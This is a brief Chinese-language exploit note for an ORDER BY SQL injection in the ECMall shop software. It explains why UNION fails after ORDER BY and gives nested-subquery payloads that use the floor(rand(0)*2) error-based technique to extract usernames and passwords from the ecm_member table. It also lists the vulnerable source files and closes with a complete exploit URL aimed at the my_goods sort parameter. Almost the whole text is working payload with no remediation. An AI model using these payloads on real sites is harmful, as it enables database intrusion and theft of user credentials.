order by 参数注入,后面不能跟union,但是可以用双重查询. select...from...order by 1 and (select user_name from ecm_member where user_id=1) 或者 select...from...order by 1,(select user_name from ecm_member where user_id=1) 但是在第2个select里面可以用union select...from...order by 1 and (select user_name from ecm_member where user_id=1 union select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(user_name,password) from ecm_member limit 0,1))a from information_schema.tables group by a)b) 或 select...from...order by 1,(select user_name from ecm_member where user_id=1 union select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(user_name,password) from ecm_member limit 0,1))a from information_schema.tables group by a)b) app/my_goods.app.php
includes/models/goods.model.php
eccore/model/model.base.php
http://localhost/ecmall/index.php?app=my_goods&act=index&order=asc&sort=1 and (select user_name from ecm_member where user_id=1 union select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(user_name,password) from ecm_member limit 0,1))a from information_schema.tables group by a)b)%23